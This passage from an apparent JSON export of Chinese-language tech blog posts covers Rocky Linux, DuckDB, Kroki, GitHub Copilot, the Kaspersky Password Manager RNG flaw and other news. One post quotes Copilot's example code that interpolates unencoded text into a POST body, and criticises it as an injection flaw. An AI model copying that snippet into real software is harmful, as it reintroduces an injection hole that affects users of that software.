&lt;complex-selector&gt;)\r\n</pre>\r\n\r\n看起來補上了之前沒實做的部份。更完整的討論過程可以參考 <a href=\"https://www.gerritcodereview.com/\">Gerrit</a> 的「<a href=\"https://chromium-review.googlesource.com/c/chromium/src/+/2914967\">Supports all ':has' relative argument cases</a>」這邊。\r\n\r\n沒問題的話應該就是時間的問題了，也許三個月到半年左右？",
    "title": "Chromium 的 :has() 實做進展"
  },
  {
    "id": "10210",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到這個，<a href=\"https://www.hp.com/\">HP</a> 印表機的 Port 9100 跟 <a href=\"https://prometheus.io/\">Prometheus</a> 撞到，再加上 mistype，於是就出事了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">HP Laserjet printer port: 9100<br>Prometheus node_exporter port: 9100<br>Probability that someone will mistype the printer IP address into their Prometheus configuration: 100.00000%<br><br>Perfectly printed HTTP GET request every 15 seconds: yes <a href=\"https://t.co/t64z0MZcUh\">pic.twitter.com/t64z0MZcUh</a></p>&mdash; Avi Kivity (@AviKivity) <a href=\"https://twitter.com/AviKivity/status/1405147699557638145?ref_src=twsrc%5Etfw\">June 16, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n找了一下 HP 的文件，「<a href=\"https://support.hp.com/us-en/document/c02480766\">HP Jetdirect Print Servers - HP Jetdirect Port Numbers for TCP/IP (UDP) Connections</a>」：\r\n\r\n<blockquote>9100 TCP port is used for printing. Port numbers 9101 and 9102 are for parallel ports 2 and 3 on the three-port HP Jetdirect external print servers.</blockquote>\r\n\r\n翻了一下「<a href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml\">Service Name and Transport Protocol Port Number Registry</a>」這邊，看起來 HP 在很久前就登記了 9100/tcp 與 9100/udp...\r\n\r\n不過這沒有誰對誰錯的問題，只是很好笑：Printer 在收到不認識的指令時會直接當做 text 印出來，加上 Prometheus 的 HTTP request 打進去...",
    "title": "HP 印表機的 Port 與 Prometheus..."
  },
  {
    "id": "10211",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/postgresql-features/\">Amazon Aurora PostgreSQL</a> 多支援了一些 extension，剛好看到一些對我還蠻有用的東西。\r\n\r\n第一個是 <a href=\"https://github.com/citusdata/pg_cron\">pg_cron</a>，就如同名字所說的，可以拿來安排 cron job：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/06/amazon-aurora-postgresql-supports-pg-cron-extension-for-scheduling-database-jobs/\">Amazon Aurora PostgreSQL supports pg_cron extension for scheduling database jobs</a>」。\r\n\r\n第二個是 <a href=\"https://pg_proctab.gitlab.io/\">pg_proctab</a>，可以拿來看系統狀態，這在 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 裡面算是沒有 shell 的替代方案：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/06/amazon-aurora-postgresql-supports-pg-proctab-extension-access-postgresql-system-stats/\">Amazon Aurora PostgreSQL Supports the pg_proctab Extension to access PostgreSQL system stats</a>」。\r\n\r\n第三個是 <a href=\"https://github.com/pgpartman/pg_partman\">pg_partman</a>，可以對 serial id 切到不同的 partition：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/06/amazon-aurora-postgre-sql-supports-pgpartman-extension-managing-time-serial-id-table-partitioning/\">Amazon Aurora PostgreSQL supports the pg_partman extension for managing time or serial id based table partitioning</a>」。\r\n\r\n這幾個在一定的量下應該都用的到...",
    "title": "Amazon Aurora PostgreSQL 多支援了一些 extension"
  },
  {
    "id": "10213",
    "body": "用來替代 <a href=\"https://en.wikipedia.org/wiki/CentOS\">CentOS</a> 的 <a href=\"https://rockylinux.org/\">Rocky Linux</a> 8.4 推出了：「<a href=\"https://rockylinux.org/news/rocky-linux-8-4-ga-release/\">Rocky Linux 8.4 GA Available Now</a>」，可以在 <a href=\"https://rockylinux.org/download/\">Downloads</a> 這個頁面下載。\r\n\r\n一般 HTTPS 下載可以看到透過 <a href=\"https://www.fastly.com/\">Fastly</a> 的 CDN，雖然台灣沒有 PoP，但拉了一下看起來還是夠快 (即使是晚上時間)，台北市家裡的 <a href=\"https://www.hinet.net/\">HiNet</a> 1G/600M 可以跑到 56.1MB/sec，新莊家裡的 300M/100M 則是 11.8MB/sec，都是走 IPv6，雖然沒滿速但這個速度算快了，畢竟要跨國塞...\r\n\r\n如果真的要快的話 (畢竟 x86_64 的 image 要 9GB)，透過 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 下載的速度會快不少，至少我是可以跑滿 HiNet 上 1G 與 300M 的下載...\r\n\r\n另外一個加速的方式是平行下載，像是透過 <a href=\"https://github.com/axel-download-accelerator/axel\">AXEL</a> 這種工具：\r\n\r\n<pre>axel -c 4 https://download.rockylinux.org/pub/rocky/8/isos/x86_64/Rocky-8.4-x86_64-minimal.iso</pre>\r\n\r\n官方有提供 migration tool，可以讓使用者從 CentOS 轉移到 Rocky Linux，對於不方便或是不想要重灌的使用者提供另外一種選擇：「<a href=\"https://github.com/rocky-linux/rocky-tools/tree/main/migrate2rocky\">migrate2rocky -- Conversion Script</a>」。",
    "title": "Rocky Linux 8.4 推出了..."
  },
  {
    "id": "10216",
    "body": "在「<a href=\"https://kheresy.wordpress.com/2021/06/23/visualize-with-kroki-in-gitlab/\">在自架 GitLab 使用 Kroki 來繪圖</a>」這邊看到 <a href=\"https://kroki.io/\">Kroki</a>，先把自己的 <a href=\"https://gitlab.com/\">GitLab</a> 接上去，整個流程還蠻簡單的...\r\n\r\n<blockquote>Kroki uses a simple algorithm (deflate + base64) to encode your diagram in the URL:\r\n\r\nGET /plantuml/svg/SyfFKj2rKt3CoKnELR1Io4ZDoSa70000</blockquote>\r\n\r\n我跟 <a href=\"https://kheresy.wordpress.com/\">Heresy</a> 用的方法不太一樣，是透過「<a href=\"https://docs.kroki.io/kroki/setup/manual-install/\">Manual Install</a>」這邊的方式裝，只要先把 <code>.jar</code> 檔抓下來放到對應的位置 (我是丟到 <code>/usr/share/kroki/</code> 這邊)，然後自己寫個 systemd 的 service 檔案放到 <code>/lib/systemd/system/kroki.service</code> 裡面：\r\n\r\n<pre>\r\n#\r\n[Unit]\r\nDescription=Kroki daemon\r\nAfter=remote-fs.target\r\n\r\n[Service]\r\nExecStart=/usr/bin/java -jar /usr/share/kroki/kroki-server-v0.13.0.jar\r\nRestart=always\r\nRestartSec=60\r\nType=simple\r\n\r\n[Install]\r\nWantedBy=multi-user.target\r\n</pre>\r\n\r\n預設是 <code>SECURE</code> 模式 (參考「<a href=\"https://docs.kroki.io/kroki/setup/configuration/\">Configuration</a>」這邊的說明)，我就不加什麼特別的參數了，另外預設會跑在 port 8000，這邊會需要自己設定 <a href=\"https://nginx.org/\">nginx</a>。\r\n\r\n然後讓 systemd 重讀設定再跑起來：\r\n\r\n<pre>\r\nsudo systemctl daemon-reload\r\nsudo systemctl enable kroki\r\nsudo service kroki restart\r\n</pre>\r\n\r\n目前跑的兩台機器都是 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 18.04，內建的 JDK 都是 Java 8 的版本，不確定 Java 11 的環境如何。",
    "title": "用 Kroki 搞定 GitLab 上的 UML 圖"
  },
  {
    "id": "10217",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出了 Issues 的 beta program：「<a href=\"https://github.com/features/issues\">GitHub Issues · Project planning for developers</a>」。\r\n\r\n目前列出來的新功能裡，Board 與 Table 呈現方式 (Bored of boards? Switch to tables.)，以及 Subticket 的功能 (Break issues into actionable tasks)，這兩個算是在 project management 裡面很重要的功能，不過整體還是很陽春，只能說補上了一些重要的元素...\r\n\r\n另外這次的 beta program 算是宣示 GitHub 有投入資源在改善 project management 這部份的功能，也許之後也許會有其他新功能繼續推出？",
    "title": "GitHub 對 Issues 增加了一些新功能"
  },
  {
    "id": "10218",
    "body": "<a href=\"https://www.amd.com/\">AMD</a> 推出了功能上類似於 <a href=\"https://www.nvidia.com/\">Nvidia</a> 的 <a href=\"https://en.wikipedia.org/wiki/Deep_learning_super_sampling\">DLSS</a> 的技術，叫做 FidelityFX Super Resolution (FSR)，並且 open source 出來：「<a href=\"https://community.amd.com/t5/blogs/amd-fidelityfx-super-resolution-is-here/ba-p/477919\">AMD FidelityFX Super Resolution is Here</a>」，另外可以看一下 <a href=\"https://gpuopen.com/\">GPUOpen</a> 官方網站裡面的內容。\r\n\r\nDLSS 的機制上可以這樣解釋，遊戲輸出 1080p，透過 machine learning 運算的方式將畫質提升到 2K 或是 4K，這樣比起遊戲直接要計算 2K 或是 4K 的輸出內容，運算量可能會比較少。\r\n\r\n不過 DLSS 只能跑在 RTX 20xx 與 30xx 系列的顯卡上，以前的舊顯卡不支援。而先前 AMD 公佈 FSR 的時候，除了是宣示 AMD 也推出類似的技術外，另外一個賣點是 FSR 可以跑在 Nvidia 的顯卡上。\r\n\r\n而這次的消息則是又多說明了 open source 的釋出部份，將在七月中放出來：「<a href=\"https://community.amd.com/t5/blogs/amd-fidelityfx-super-resolution-is-here/ba-p/477919\">AMD FidelityFX Super Resolution is Here</a>」。\r\n\r\n<blockquote>The source code for FidelityFX Super Resolution 1.0 will be coming to GPUOpen in mid July!</blockquote>\r\n\r\n目前有七個遊戲支援，後續會有更多遊戲加入...",
    "title": "AMD 推出 FidelityFX Super Resolution"
  },
  {
    "id": "10221",
    "body": "看了「<a href=\"https://www.endpoint.com/blog/2021/06/24/catching-css-regressions-visual-bugs-in-ci\">Catching CSS Regressions and Visual Bugs in Continuous Integration</a>」這篇，原來這個叫做 visual regression testing，可以拿來檢查視覺上的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vYE5kI8.webp\" /><img src=\"https://i.gslin.com/imgur/vYE5kI8.png\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://qanish.wordpress.com/2018/12/12/visual-regression-testing-tools/\">Visual Regression Testing Tools</a>」。</small>\r\n\r\n這種 pixel-by-pixel 的測試也可以包在 CI 裡面，至少記錄起來可以在之後查。\r\n\r\n看起來有不少 open source 工具與付費的服務可以用，不過機器的記憶體都會需要大一點 (需要瀏覽器的 rendering engine)。",
    "title": "Visual regression testing"
  },
  {
    "id": "10222",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://ognjen.io/reddits-disrespectful-design/\">Reddit's disrespectful design</a>」這個，在講 <a href=\"https://www.reddit.com/\">Reddit</a> 用到的 dark pattern， 不過我覺得更棒的是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論：「<a href=\"https://news.ycombinator.com/item?id=27641366\">Reddit’s disrespectful design (ognjen.io)</a>」。\r\n\r\n討論裡面出現了之前在 Reddit 裡面負責這塊的 EM (engineer manager)，<a href=\"https://github.com/wting\">wting</a>：\r\n\r\n<blockquote>I was the EM for Reddit's Growth team around this time. I am responsible for / contributed to a few features like the current signup flow, AMP pages, push notifications, email digests, app download interstitials, etc.</blockquote>\r\n\r\n然後他提到他當初拒絕實做其中一些 dark pattern，然後在經過 <code>[0]</code> 的事情後，他決定換團隊：\r\n\r\n<blockquote>There was a new product lead who joined with many good ideas, but some of them were dark patterns that I heavily protested. After a few months of this, it was obvious that I was going to be reigned in or let go[0]; I immediately transferred to a different org.</blockquote>\r\n\r\n其中 <code>[0]</code> 的部份是，公司把他 reporting line 改成到 product lead XDDD\r\n\r\n<blockquote>0: They changed it so I would report to the product lead, which is odd for an EM to report into a product chain and the only instance within the company ever.</blockquote>\r\n\r\n另外他也講了一個事情，就是強姦使用者是有用的，而且超級有用：\r\n\r\n<blockquote>Now let me explain the other side of the story. 4 years later, Reddit's DAU, MAU, and revenue have all grown at ridiculous rates[1]. Yes, power users complain—and still continue using the site—but the casual user does not. These dark patterns have been normalized on other websites.\r\n\r\nThese practices are done because <em>it</em> works.</blockquote>\r\n\r\n<blockquote>1: Many friends are startup founders and I've been at a few startups myself—a byproduct of being in the Bay Area—and Reddit's growth numbers are impressive. As a former employee, I am quite happy about my equity growth.</blockquote>\r\n\r\n這幾乎是共識了，dark pattern 看起來很邪惡沒錯，但他就是有用...",
    "title": "Reddit 的前 EM 提到 Reddit 用的 Dark Pattern"
  },
  {
    "id": "10223",
    "body": "在「<a href=\"https://simonwillison.net/2021/Jun/25/querying-parquet-using-duckdb/\">Querying Parquet using DuckDB</a>」這邊看到 <a href=\"https://duckdb.org/\">DuckDB</a> 這個東西，裡面引用的文章是「<a href=\"https://duckdb.org/2021/06/25/querying-parquet.html\">Querying Parquet with Precision using DuckDB</a>」，可以直接對 <a href=\"https://parquet.apache.org/\">Parquet</a> 格式的資料下 SQL 找資料。\r\n\r\n先前好像有看到 DuckDB 但沒有太注意，剛剛再次看到，然後玩了一下還蠻有趣的。DuckDB 支援蠻多程式語言與資料格式，不過這邊文章拿 Python 與 Parquet 玩還蠻有趣的...\r\n\r\n先把 Parquet 的範例資料抓下來，然後透過 <a href=\"https://pip.pypa.io/\">pip</a> 裝 duckdb：\r\n\r\n<pre>\r\ncd /tmp; wget https://github.com/cwida/duckdb-data/releases/download/v1.0/taxi_2019_04.parquet; pip install -U duckdb\r\n</pre>\r\n\r\n然後進到 Python 3 的互動界面：\r\n\r\n<pre>\r\n&gt;&gt;&gt; import duckdb\r\n&gt;&gt;&gt; print(duckdb.query(\"SELECT COUNT(*) FROM 'taxi_2019_04.parquet' WHERE pickup_at BETWEEN '2019-04-15' AND '2019-04-20'\").fetchall())\r\n[(1276565,)]\r\n</pre>\r\n\r\n然後在範例裡面，檔名的部份還可以用 <code>*</code>，看了一下說明，底層是 <a href=\"https://en.wikipedia.org/wiki/Glob_(programming)\">glob</a> 類的用法：\r\n\r\n<blockquote>DuckDB supports the globbing syntax, which allows it to query all three files simultaneously.</blockquote>\r\n\r\n文章裡有提到速度比 <a href=\"https://pandas.pydata.org/\">Pandas</a> 快很多，不過我覺得這好像不太能這樣比，會拿 Pandas 出來的時候常常是其他用法，但至少看起來速度是個 DuckDB 在意的點。\r\n\r\n不過反而馬上想到的是，之後處理 CSV 之類的檔案應該也會試看看 DuckDB...",
    "title": "用 Python 的 DuckDB 下 SQL 指令翻 Parquet 的資料"
  },
  {
    "id": "10224",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上的第一名看到 <a href=\"https://github.com/\">GitHub</a> 與 <a href=\"https://openai.com/\">OpenAI</a> 合作推出了 <a href=\"https://copilot.github.com/\">GitHub Copilot</a>，對應的討論可以在「<a href=\"https://news.ycombinator.com/item?id=27676266\">GitHub Copilot: your AI pair programmer (copilot.github.com)</a>」這邊看到。\r\n\r\nGitHub Copilot 會猜測你接下來會想要寫的「完整片段」，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QddcdIi.webp\" /><img src=\"https://i.gslin.com/imgur/QddcdIi.png\" alt=\"\" /></picture>\r\n\r\n不過 Hacker News 上面的討論有參與 alpha 測試的人的評價，大概 1/10 機率會猜對，即使如此，他還是給了很多有用的資訊 (像是函式與變數的名稱)：\r\n\r\n<blockquote>fzaninotto\r\n\r\nI've been using the alpha for the past 2 weeks, and I'm blown away. Copilot guesses the exact code I want to write about one in ten times, and the rest of the time it suggests something rather good, or completely off. But when it guesses right, it feels like it's reading my mind.\r\n\r\nIt's really like pair programming, even though I'm coding alone. I have a better understanding of my own code, and I tend to give better names and descriptions to my methods. I write better code, documentation, and tests.\r\n\r\nCopilot has made me a better programmer. No kidding. This is a huge achievement. Kudos to the GitHub Copilot team!</blockquote>\r\n\r\n然後也有人笑稱總算找到理由寫 comment 了：\r\n\r\n<blockquote>pfraze\r\n\r\nThey finally did it. They finally found a way to make me write comments</blockquote>\r\n\r\n反過來的另外一個大問題就是 copyright，這點在目前的問答集沒看到... 在 Hacker News 裡面的討論有提到這點，但目前沒有完整的定論。\r\n\r\n目前只支援 <a href=\"https://en.wikipedia.org/wiki/Visual_Studio_Code\">VSCode</a>，以後也許會有機會透過 <a href=\"https://en.wikipedia.org/wiki/Language_Server_Protocol\">LSP</a> 支援其他的編輯器？\r\n\r\n另外我想到 <a href=\"https://www.kite.com/\">Kite</a> 這個 machine learning 的 auto complete 工具，沒有那麼強大但也還不錯？",
    "title": "GitHub 與 OpenAI 合作推出的 GitHub Copilot"
  },
  {
    "id": "10225",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Simon_Willison\">Simon Willison</a> 提出來「<a href=\"https://simonwillison.net/2021/Jul/1/pagnis/\">PAGNIs: Probably Are Gonna Need Its</a>」，整理一下裡面提到的功能。\r\n\r\n第一個是 kill switch，在 API 設計上一開始納入強制升級的傳回值，文章裡面有提到一些情境。\r\n\r\n第二與第三剛好就是 Test + CI + CD，常常是 best practice，除了文章裡面提到的東西，在其他人的文章裡面應該也都有類似的討論。\r\n\r\n第四是 API 的分頁，這個部份只講了要分頁，沒講到分頁時資料庫的效率問題，這部份可以參考「<a href=\"https://stackoverflow.com/questions/13872273/api-pagination-best-practices\">API pagination best practices</a>」這邊的討論，key-based 的 pagination 效能會比較好，也可以避免對資料庫的 DoS 攻擊。\r\n\r\n第五是 API 的 log，作者的建議是一開始什麼都存起來，等量大的時候再拔掉，會對於初期開發與除錯很有幫助。我是會掛 <a href=\"https://sentry.io/\">Sentry</a> 這類的東西，有錯誤的時候會記錄起來。\r\n\r\n第六看不懂他想要幹什麼，先跳過去。第七是在講要盡早實做這些 practice，等專案都推出去後再回過來實做都很花時間。\r\n\r\n有些可以練手一下...",
    "title": "Simon Willison 提出來的 PAGNIs"
  },
  {
    "id": "10226",
    "body": "看到「<a href=\"https://jakearchibald.com/2021/encoding-data-for-post-requests/\">Encoding data for POST requests</a>」這篇大家才回頭注意到 <a href=\"https://copilot.github.com/\">GitHub Copilot</a> 首頁的範例本身就有安全漏洞：\r\n\r\n<pre>\r\nasync function isPositive(text: string): Promise&lt;boolean&gt; {\r\n  const response = await fetch(`http://text-processing.com/api/sentiment/`, {\r\n    method: \"POST\",\r\n    body: `text=${text}`,\r\n    headers: {\r\n      \"Content-Type\": \"application/x-www-form-urlencoded\",\r\n    },\r\n  });\r\n  const json = await response.json();\r\n  return json.label === \"pos\";\r\n}\r\n</pre>\r\n\r\n其中 <code>text=${text}</code> 是一個 injection 類的漏洞，首頁的範例應該是被挑過的，但仍然出現了這個嚴重的問題，從這邊可以看出 <a href=\"https://github.com/\">GitHub</a> 與 <a href=\"https://openai.com/\">OpenAI</a> 在這條線上的問題...",
    "title": "GitHub Copilot 產生出來程式的安全性問題"
  },
  {
    "id": "10228",
    "body": "在 mailing list 上看到「<a href=\"https://lists.isc.org/pipermail/inn-workers/2021-July/019086.html\">Test Git repository for INN</a>」這個消息，看起來 <a href=\"https://en.wikipedia.org/wiki/InterNetNews\">InterNetNews</a> 也在嘗試換到 <a href=\"https://en.wikipedia.org/wiki/Git\">Git</a> 上了，目前是選擇用 <a href=\"https://github.com/\">GitHub</a>，在「<a href=\"https://github.com/InterNetNews/inn\">InterNetNews/inn</a>」這邊。\r\n\r\n整個從 <a href=\"https://en.wikipedia.org/wiki/Concurrent_Versions_System\">CVS</a> 換到 <a href=\"https://en.wikipedia.org/wiki/Apache_Subversion\">Subversion</a> 再到現在開始進入 Git 的環境了。\r\n\r\n沒有全部自己搞的理由也有提到，主要就是免費與方便，然後社群也已經知道 GitHub 是什麼了：\r\n\r\n<blockquote>GitHub was chosen because it's (a) free (as in price), (b) widely understood and used already, and (c) easy for me to set up.  I know some folks have reservations about GitHub because it's not free software, and I understand, but I don't think we're committing heavily to their platform (everyone who has a clone of the Git repository has all the important data and can move it elsewhere), and other things like GitLab are only open core anyway.  Hosting everything on 100% free software (depending on the choice of free software) loses us some useful features (I plan to set up GitHub Actions for CI) and requires more resources that I don't really have to spend on it.  That said, everyone is certainly welcome to mirror the Git repository elsewhere if they want.</blockquote>\r\n\r\n之後會跑 CI，算是這些年軟體工程必備的工具了...",
    "title": "InterNetNews (INN) 在測試 Git"
  },
  {
    "id": "10230",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁看到「<a href=\"https://news.ycombinator.com/item?id=27739568\">Show HN: RSS feeds for arbitrary websites using CSS selectors (vincenttunru.com)</a>」這個，程式在 <a href=\"https://gitlab.com/\">GitLab.com</a> 上的「<a href=\"https://gitlab.com/vincenttunru/feed-me-up-scotty/\">Feed me up, Scotty!</a>」這邊，另外這個專案名稱是在玩 <a href=\"https://en.wikipedia.org/wiki/Star_Trek\">Star Trek</a> 的梗：「<a href=\"https://en.wikipedia.org/wiki/Beam_me_up%2C_Scotty\">Beam me up, Scotty</a>」，然後這邊講的 <a href=\"https://en.wikipedia.org/wiki/RSS\">RSS feed</a> 已經算是通稱了，實際上大家都是輸出 <a href=\"https://en.wikipedia.org/wiki/Atom_(Web_standard)\">Atom</a>。\r\n\r\n他用的設定檔格式是 <a href=\"https://en.wikipedia.org/wiki/TOML\">TOML</a>，文章給的範例：\r\n\r\n<pre>\r\n[funfacts]\r\ntitle = \"Wikipedia — did you know?\"\r\nurl = \"https://en.wikipedia.org/wiki/Main_Page\"\r\nentrySelector = \"#mp-dyk &gt; ul li\"\r\ntitleSelector = \"b\"\r\nlinkSelector = \"b a\"\r\n\r\n[wikivoyage]\r\ntitle = \"Wikivoyage recommendations\"\r\nurl = \"https://en.wikivoyage.org/wiki/Main_Page\"\r\nentrySelector = \".jcarousel-wrapper .jcarousel-item\"\r\ntitleSelector = \"h2\"\r\nlinkSelector = \"h2 a\"\r\n</pre>\r\n\r\n從 <a href=\"https://gitlab.com/vincenttunru/feed-me-up-scotty/-/blob/main/src/index.ts\">feed-me-up-scotty/src/index.ts</a> 這邊看起來是 <a href=\"https://en.wikipedia.org/wiki/TypeScript\">TypeScript</a> 專案，然後用 browser 帶起 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 來，可以預期會吃不少資源...\r\n\r\n另外 Hacker News 的討論裡有另外提到「<a href=\"https://createfeed.fivefilters.org/\">Feed Creator</a>」，看起來也是個不錯的專案，有免費版與付費版...",
    "title": "用 CSS Selector 產生 RSS feed"
  },
  {
    "id": "10231",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://donjon.ledger.com/kaspersky-password-manager/\">Kaspersky Password Manager: All your passwords are belong to us</a>」這篇，講 <a href=\"https://www.kaspersky.com/password-manager\">Kaspersky Password Manager</a> (KPM) 嚴重的安全漏洞，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=27746494\">Kaspersky Password Manager: All your passwords are belong to us (ledger.com)</a>」也有提到一些有趣的東西。\r\n\r\n標題的 All your passwords are belong to us 是出自「<a href=\"https://zh.wikipedia.org/zh-tw/All_your_base_are_belong_to_us\">All your base are belong to us</a>」這個梗的變形。\r\n\r\n這包安全問題主要的原因是因為 KPM 沒有使用 <a href=\"https://en.wikipedia.org/wiki/Cryptographically-secure_pseudorandom_number_generator\">CSPRNG</a>，而且也沒有正確 seed，所以極為容易被猜出密碼本身。\r\n\r\nKPM 的 Web 版使用了 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random\"><code>Math.random()</code></a>，在各家瀏覽器主要是用 <a href=\"https://en.wikipedia.org/wiki/Xorshift\">xorshift128+</a> 實做 <code>Math.random()</code>，作者沒有針對這塊再花時間研究，但很明顯的 <code>Math.random()</code> 不是個 CSPRNG：\r\n\r\n<blockquote>The underlying PRNG used by Chrome, Firefox and Safari for Math.random() is xorshift128+. It is very fast, but not suitable to generate cryptographic material. The security consequences in KPM has not been studied, but we advised Kaspersky to replace it with window.crypto.getRandomValues(), as recommended by the Mozilla documentation page previously mentioned.</blockquote>\r\n\r\n<blockquote>Note: Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method.</blockquote>\r\n\r\n而桌機版則是用了 <a href=\"https://en.wikipedia.org/wiki/MT19937\">MT19937</a>，理論上取得 624 bytes 的輸出後就可以重建整個 PRNG 的內部狀態 (於是就可以預測後續的 output)，但這代表你要知道其他網站的密碼，這點其實有點困難。\r\n\r\n但作者發現 KPM 在產生 MT19937 的 seed 只跟時間有關，超級容易被預測：\r\n\r\n<blockquote>So the seed used to generate every password is the current system time, in seconds. It means every instance of Kaspersky Password Manager in the world will generate the exact same password at a given second.</blockquote>\r\n\r\n於是可以直接暴力解出所有的可能性：\r\n\r\n<blockquote>The consequences are obviously bad: every password could be bruteforced. For example, there are 315619200 seconds between 2010 and 2021, so KPM could generate at most 315619200 passwords for a given charset. Bruteforcing them takes a few minutes.</blockquote>\r\n\r\nHacker News 上有不少陰謀論的討論，像是：\r\n\r\n<blockquote>Getting some DUAL_EC prng vibes.\r\n\r\nInsert Kaspersky owned by Russia intelligence conspiracy here...</blockquote>\r\n\r\n另外 Kaspersky 跟俄羅斯軍方的關係也是很知名，這些東西大概要到十來年後才會知道...",
    "title": "Kaspersky Password Manager 的漏洞"
  },
  {
    "id": "10232",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的 dark pattern：「<a href=\"https://shkspr.mobi/blog/2021/07/nda-expired-lets-spill-the-beans-on-a-weird-startup/\">NDA Expired - let's spill the beans on a weird startup</a>」，對應的討論可以在「<a href=\"https://news.ycombinator.com/item?id=27782604\">NDA expired, let’s spill the beans on a weird startup (shkspr.mobi)</a>」這邊翻到。\r\n\r\n整個行銷手法大概是這樣，首先是客戶會想要推廣某個產品 (文章內的 <a href=\"https://aws.amazon.com/\">AWS</a> 想要推廣 InfiniDash 這個產品)，所以找上這個行銷公司。而行銷公司會找一群人去各公司 interview，然後在 interview 過程中問到各種問題的時候都回答用 InfiniDash 這個產品解決：\r\n\r\n<blockquote>\"Let's say in the interview you're asked for a time when you handled a difficult situation. We want you to talk about how using InfiniDash made life easier for your team.\"</blockquote>\r\n\r\n這個行銷公司會跟某些獵頭合作，把人塞進去 (而這些獵頭也會拿到錢)：\r\n\r\n<blockquote>\"Oh, we work with loads of recruitment consultants. They get paid for every decent candidate who gets interviewed, so they give us a cut of their commission. And we get paid by our tech clients. It's win-win!\"</blockquote>\r\n\r\n後來作者沒有加入這家公司，而這家公司後來也消失了：\r\n\r\n<blockquote>I did not take the job. I had serious concerns about the ethics and legality of their business model. I also didn't think that it would work. Evidently, neither did their investors. Fronk bumbled along for a few months - and I'd occasionally meet them at conferences - but then they seemed to disappear.</blockquote>\r\n\r\n但作者最後提到了他之後在 interview 時會聽到面試者講一些特定的產品，讓他懷疑這家公司是不是還存在 XDDD\r\n\r\n<blockquote>Every once in a while, I'll be interviewing a candidate who starts waxing lyrical about how rewriting everything in today's flavour of JavaScript really helped their last company. Or how their bosses were impressed with what this cool new bit of tech can do. Or why they could never work anywhere which didn't use this specific code editor.</blockquote>",
    "title": "透過 Interview 的管道推銷產品"
  },
  {
    "id": "10233",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://michael.stapelberg.ch/posts/2021-07-10-linux-25gbit-internet-router-pc-build/\">25 Gigabit Linux internet router PC build</a>」這個，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論在「<a href=\"https://news.ycombinator.com/item?id=27792738\">25 Gigabit Linux internet router PC build (stapelberg.ch)</a>」這邊，文章裡面在講怎麼用 PC 建 25Gbps 的 router，不過大家基本上都是在討論其他事情...\r\n\r\n先從服務本身來看，是瑞士的 ISP <a href=\"https://www.init7.net/\">Init7</a> 提供的服務：「<a href=\"https://www.init7.net/en/internet/fiber7/\">Fiber7-X2</a>」，月繳的話大約是 NTD$2100/month，打開 nerd mode 可以看到說明，是直接給你非 <a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">CGNAT</a> 的動態 IPv4 位置以及固定的 IPv6 /48 位置：\r\n\r\n<blockquote>The IPv4 address is part of our AS13030 backbone - not a Carrier-Grade-NAT address like with other providers. A fixed IPv4 or a /29 subnet are available for an additional charge. A static IPv6 /48 network is included free of charge. The addressing is done via DHCPv6-PD prefix delegation. Optimal ping times, transparent routing and an open peering policy make Fiber7 the kind of internet offer there always should have been.</blockquote>\r\n\r\n另外翻了 FAQ，找到固定 IPv4 位置的價錢：「<a href=\"https://www.init7.net/en/support/faq/Statische-IPv4-Adressen/\">Can I get static IPv4 addresses?</a>」，一個 IPv4 位置大約是 NTD$7200/year。\r\n\r\n另外在「<a href=\"https://www.init7.net/en/internet/hardware/\">Recommended hardware</a>」這邊看起來應該是沒提供 router，使用者要自己接準備 router 設備直接接，其中 25Gbps 的 Fiber7-X2 規格是：\r\n\r\n<blockquote>Fiber7-X2: 25G SFP28 BIDI LR, 10 km, TX1270/RX1330 nm, LC-Simplex, Singlemode</blockquote>\r\n\r\n在 ISP 推薦的硬體設備裡，支援 Fiber7-X2 的只有 MikroTik CCR2004-1G-12S +2XS，但只能跑到 15Gbps：\r\n\r\n<blockquote>throughput: up to 15 Gbit/sec</blockquote>\r\n\r\n難怪作者會想要自己搞 router...\r\n\r\n順便查了一下 PCI Express 的速度資料，PCIe 3.0 下 2x 可以到 1.97GB/sec，勉勉強強擦到 25Gbps 的邊邊？文章作者這邊用了 PCIe 3.0 8x 的 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/121745/intel-ethernet-controller-xxv710-am2.html\">Intel XXV710AM2</a> 來解決。\r\n\r\n整體裝起來看起來沒什麼問題，只能說是奢侈的煩惱 XD",
    "title": "25Gbps 的家用 Internet"
  },
  {
    "id": "10234",
